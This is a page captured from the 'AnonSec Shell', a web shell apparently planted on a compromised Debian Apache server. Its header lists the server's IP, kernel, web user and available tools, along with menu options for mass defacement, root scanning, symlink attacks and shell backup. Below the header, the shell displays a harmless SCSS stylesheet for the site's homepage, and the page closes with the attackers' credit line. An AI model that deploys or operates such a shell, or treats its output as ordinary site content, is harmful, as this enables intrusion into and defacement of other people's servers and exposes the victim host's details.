AnonSec Shell

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell AnonSec Shell
Server IP : 31.31.79.131 / Your IP : 172.18.0.1 [ Reverse IP ]
Web Server : Apache/2.4.38 (Debian)
System : Linux a1822d00732a 4.15.0-39-generic #42-Ubuntu SMP Tue Oct 23 15:48:01 UTC 2018 x86_64
User : www-data ( 33)
PHP Version : 7.1.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Domains : 0 Domains
MySQL : OFF | cURL : ON | WGET : OFF | Perl : ON | Python : OFF | Sudo : OFF | Pkexec : OFF
Directory : /var/www/html/www/assets/sass/front/partials/
Upload File :
[ HOME ] [ BACKUP SHELL ] [ JUMPING ] [ MASS DEFACE ] [ SCAN ROOT ] [ SYMLINK ]
Current File : /var/www/html/www/assets/sass/front/partials/_homepage.scss
/* --------------------------------------------------------------
-- Homapage
-------------------------------------------------------------- */

.homepage__top {
    display: flex;
    margin-bottom: rem(15);
}

// hp top mobile

.homepage__top--mobile {
    width: 100%;
}

.homepage__top-swiper-wrapper {
    position: relative;
    padding-bottom: rem(38);
}

.homepage__top-swiper-item-content {
    height: rem(300);
    width: 100%;
    padding: rem(50) rem($gap);
    background-size: cover;
    background-position: right center;
    background-repeat: no-repeat;
    display: flex;
    flex-direction: column;
    justify-content: space-between;
    align-items: flex-start;

    @include mobile {
        position: relative;
        height: auto;
        padding: 0;

        &::after {
            content: '';
            display: block;
            padding-bottom: 75.136%;
        }
    }
}

.homepage__top-swiper-item-content-in {

    @include mobile {
        position: absolute;
        width: 100%;
        height: 100%;
    }
}

.homepage__top-swiper-item-content-title {

    @include font-rem(18,22);
    font-weight: $weight-semibold;
    max-width: rem(200);
}

.homepage__top-swiper-item-content-text {

    @include font-rem(14,20);
    max-width: rem(175);
}

.homepage__top-swiper-item-content-button {

    .button {
        height: auto;
        min-width: auto;
        padding: rem(8) rem(15);
    }
}

// hp top tablet+

.homepage__top-left {
    width: 61.8%;
    height: rem(170 * 3 + 40);
    position: relative;

    @include until($max) {
        height: rem(140 * 3 + 40);
    }

    @include until($fullhd) {
        height: rem(110 * 3 + 40);
    }
}

.homepage__top-left-content {
    position: absolute;
    top: 0;
    right: 0;
    height: 100%;
    width: 100%;
    overflow: hidden;
    background-size: cover;
    background-position: right center;
    background-repeat: no-repeat;
    transition: $transition;
    opacity: 0;
    padding: rem(40) rem(57);
    display: flex;
    flex-direction: column;
    justify-content: space-between;
    align-items: flex-start;
    z-index: 1;

    @include from($fullhd) {
        padding-top: rem(80);
        padding-bottom: rem(60);
    }

    @include from($max) {
        padding-top: rem(120);
        padding-bottom: rem(100);
    }

    &.is-active {
        opacity: 1;
        z-index: 2;
    }
}

.homepage__top-left-content-title {

    @include font-rem(40,45);
    font-weight: $weight-bold;
    max-width: 49%;

    @include until($fullhd) {

        @include font-rem(20,22);
    }
}

.homepage__top-left-content-text {

    @include font-rem(16,25);
    max-width: 47%;

    @include until($fullhd) {

        @include font-rem(14,23);
    }

    @include touch {

        @include font-rem(12,20);
    }
}

.homepage__top-right {
    width: 38.2%;
    padding-left: rem(20);
}

.homepage__top-right-content {

    @include font-rem(16,25);
    width: 100%;
    height: rem(170);
    margin-bottom: rem(20);
    background-size: cover;
    background-position: center center;
    background-repeat: no-repeat;
    cursor: pointer;
    transition: $transition;
    position: relative;
    display: flex;
    flex: 1;
    flex-direction: column;
    justify-content: center;
    padding: rem(20) rem(35);

    @include until($max) {
        height: rem(140);
    }

    @include until($fullhd) {

        @include font-rem(14,20);
        height: rem(110);
    }

    &:hover {
        opacity: 0.9;
    }

    &:last-child {
        margin-bottom: 0;
    }

    &.is-active {

        &::after {
            content: '';
            position: absolute;
            top: calc(50% - 25px);
            left: rem(-20 - 23);
            width: rem(50);
            height: rem(50);
            border-right: rem(25) solid white;
            border-top: rem(25) solid white;
            border-left: rem(25) solid transparent;
            border-bottom: rem(25) solid transparent;
            border-radius: rem(5);
            transform: rotate(-135deg);
            opacity: 0.6;

            @include until($fullhd) {
                border-width: rem(15);
                left: rem(-20 - 13);
                width: rem(30);
                height: rem(30);
            }
        }
    }
}

.homepage__top-right-content-title {

    @include font-rem(20,25);
    font-weight: $weight-bold;
    margin-bottom: rem(5);

    @include until($fullhd) {

        @include font-rem(16,20);
    }
}

// News

.homepage__news-wrapper {
    margin-bottom: rem(28);
    height: rem(35);
    border: rem(1) solid $danger;

    @include touch {
        height: rem(32);
        border-right: 0;
        border-top: 0;
    }
}

.homepage__news-wrapper-in {
    height: rem(35);
    margin: rem(-1);
    overflow: hidden;

    @include touch {
        height: rem(32);
    }
}

.homepage__news-date {
    font-weight: $weight-bold;
    background: $danger;
    color: white;
    padding: 0 rem(15);
}

.homepage__news-text {
    overflow: hidden;
    font-style: italic;
    padding: 0 rem($gap);
    flex-grow: 1;
}

.homepage__news-more {

    @include font-rem(16,35);
    color: white;
    background: $primary;
    height: calc(100% + 2px);
    margin: rem(-1);
    padding: 0 rem(40);
    flex-shrink: 0;
    transition: $transition;
    border: rem(1) solid $primary;
    font-weight: $weight-bold;

    @include touch {
        display: none;
    }
}

.homepage__news {

    @include font-rem(18,35);
    display: flex;
    height: rem(35);
    color: $text;
    text-decoration: none;

    @include touch {

        @include font-rem(12,32);
        height: rem(32);
        border: 0;
    }

    &:hover {
        color: $text;
        text-decoration: none;

        .homepage__news-more {
            background: rgba($primary, 0.8);
            color: white;
        }
    }
}

// titles

.homepage_subtitle {

    @include font-rem(25,40);
    text-align: center;
    margin-bottom: rem(22);

    @include mobile {

        @include font-rem(20,30);
        margin-bottom: rem(12);
    }

    strong {
        text-transform: uppercase;
        font-weight: $weight-bold;
    }
}

// Top Themes

.homepage__themes {

    @include mobile {
        padding: 0 rem($gap);
    }
}

.homepage__themes-title {
    margin-top: rem(40);
}

.homepage__themes-perex {

    @include font-rem(16,28);
    margin-bottom: rem(30);
    margin-top: rem(-10);
}

.homepage__themes-swiper-wrapper {
    width: 100%;
    padding: 0 rem(38) rem(50) rem(38);
    position: relative;
    margin-bottom: rem(23);
    max-height: 352px;
    overflow: hidden;

    @include mobile {
        padding-right: 0;
        padding-left: 0;

        .swiper-slide {
            width: auto;
        }
    }
}

.homepage__themes-item {
    position: relative;
    width: 100%;
    background-color: $black;
    background-size: cover;
    background-position: right center;
    background-repeat: no-repeat;

    @include from($tablet) {
        max-width: 218px;
    }

    @include from($desktop) {
        max-width: 245px;
    }

    @include from($widescreen) {
        max-width: 226px;
    }

    @include from($fullhd) {
        max-width: 293px;
    }

    @include from($max) {
        max-width: 263px;
    }

    @include mobile {
        width: rem(255);
    }

    &::after {
        content: '';
        display: block;
        padding-bottom: 103.08%;
    }
}

.homepage__themes-item-content {
    max-height: 0;
    overflow: hidden;
    transition: $transition;
    transition-duration: 0.4s;
    display: flex;
    flex-direction: column;
    justify-content: flex-end;
    align-items: center;
}

.homepage__themes-item-in {

    @include font-rem(12,20);
    position: absolute;
    // width: calc(100% - 60px);
    // height: calc(100% - 40px);
    width: 100%;
    height: 100%;
    color: $white;
    transition: $transition;
    padding: rem($gap) rem($gap * 1.5);
    text-align: center;
    display: flex;
    flex-direction: column;
    justify-content: flex-end;
    align-items: center;
    text-decoration: none;
    background: linear-gradient(0deg, rgba($black, 1) 0%, rgba($black, 0) 35%, rgba($black, 0) 100%);

    &:focus {
        text-decoration: none;
    }

    &:hover {
        color: $white;
        background: rgba($black, 0.63);
        text-decoration: none;

        .homepage__themes-item-content {
            max-height: rem(500);
        }
    }
}

.homepage__themes-item-title {

    @include font-rem(16,25);
    font-weight: $weight-semibold;
    margin-bottom: rem(9);
    color: $white;
}

.homepage__themes-swiper-button-prev {
    left: 0;
    top: calc(50% - 25px);
}

.homepage__themes-swiper-button-prev,
.homepage__themes-swiper-button-next {
    left: 0;
    top: calc(50% - 25px);
    transition: $transition;

    @include mobile {
        display: none;
    }

    &::after {
        display: none;
    }

    &:hover {
        opacity: 0.7;
    }

    &::before {
        content: '';
        width: rem(20);
        height: rem(36);
        background: url('/images/front/system/static/ico-arrow.svg') no-repeat center center;
        transform: rotate(180deg);
    }
}

.homepage__themes-item-button {
    margin-top: rem(15);
    height: rem(42);
    padding: 0;
    flex-shrink: 0;
    flex-grow: 1;
}

/* stylelint-disable */
.homepage__themes-swiper-button-next {
    left: auto;
    right: 0;

    &::before {
        transform: rotate(0);
    }
}
/* stylelint-enable */

.swiper-pagination {

    .swiper-pagination-bullet {
        width: rem(12);
        height: rem(12);
        margin: 0 rem(2.65);
        background: #e5e5e5;
        opacity: 1;

        @include touch {
            width: rem(9);
            height: rem(9);
            margin: 0 rem(4.5);
        }
    }

    .swiper-pagination-bullet-active {
        background-color: $primary;
    }
}

// Why

.homepage__why-item {

    @include font-rem(14,25);
    display: flex;
    margin-bottom: rem(22);
    height: 100%;
    align-items: center;

    @include mobile {

        @include font-rem(12,20);
        margin-bottom: 0;
        align-items: flex-start;
    }
}

.homepage__why-item-image {
    width: rem(80);
    flex-shrink: 0;
    display: flex;
    align-items: center;

    @include mobile {
        width: rem(40);
        padding-right: rem(15);
        padding-top: rem(5);
        height: 100%;
        align-items: flex-start;
    }
}

.homepage__why-item-title {

    @include font-rem(16,25);
    font-weight: $weight-semibold;

    @include mobile {

        @include font-rem(12,20);
    }
}

.homepage__why-item-list {

    li {
        padding-left: rem(10);
        position: relative;

        &::before {
            content: '•';
            position: absolute;
            top: 0;
            left: rem(1);
        }
    }
}

.homepage__why {
    margin-bottom: rem(12);

    > .columns > .column:nth-child(n+5) {
        transition: $transition;
        max-height: rem(500);
    }

    &.not-all--mobile {
        padding: 0 rem($gap);

        > .columns > .column:nth-child(n+5) {

            @include mobile {
                transition: $transition;
                max-height: 0;
                overflow: hidden;
                opacity: 0;
                padding: 0;
            }
        }
    }
}

.homepage__why-more {
    margin: 0 0 rem($gap * 1.5) 0;
}

// Videos

.homepage__videos {
    height: 100%;
    width: 100%;
}

// Showroom

.homepage__showroom {
    position: relative;
    width: 100%;
    margin-bottom: rem(30);
    background-color: $black;
    background-size: cover;
    background-position: right center;
    background-repeat: no-repeat;

    @include until($widescreen) {
        margin-bottom: rem(22);
        background-position: center center;
    }

    @include mobile {
        margin-bottom: 0;
    }

    &::after {
        content: '';
        display: block;
        padding-bottom: 56.25%;
        position: relative;
        z-index: 2;
        background-color: rgba($primary, 0.5);

        @include until($widescreen) {
            padding-bottom: 66%;
        }

        @include until($desktop) {
            padding-bottom: 68%;
        }

        @include mobile {
            padding-bottom: 56.25%;
        }
    }
}

.homepage__showroom-in {

    @include font-rem(18,30);
    position: absolute;
    width: 100%;
    height: 100%;
    display: flex;
    flex-direction: column;
    align-items: center;
    justify-content: center;
    color: $white;
    transition: $transition;

    iframe {
        width: 100%;
        height: 100%;
    }
}

// POPUP

.homepage__popup--container {
    width: 100%;
    height: 100%;
    position: fixed;
    z-index: 1000000;
    background-color: rgba(0, 0, 0, 0.5);
    top: 0;
    left: 0;
    display: flex;
    opacity: 0;
    visibility: hidden;
    transition: opacity 0.3s ease, visibility 0.3s ease;
    align-items: center;
    justify-content: center;

    &.enabled {
        opacity: 1;
        visibility: visible;
    }

    > div {
        position: relative;
    }
}

.homepage_popup--close {
    position: absolute;
    color: white;
    right: 11px;
    top: 7px;
    font-size: 31px;
    line-height: 1;
    cursor: pointer;

    &:hover {
        color: black;
    }
}
Anon7 - 2022
AnonSec Team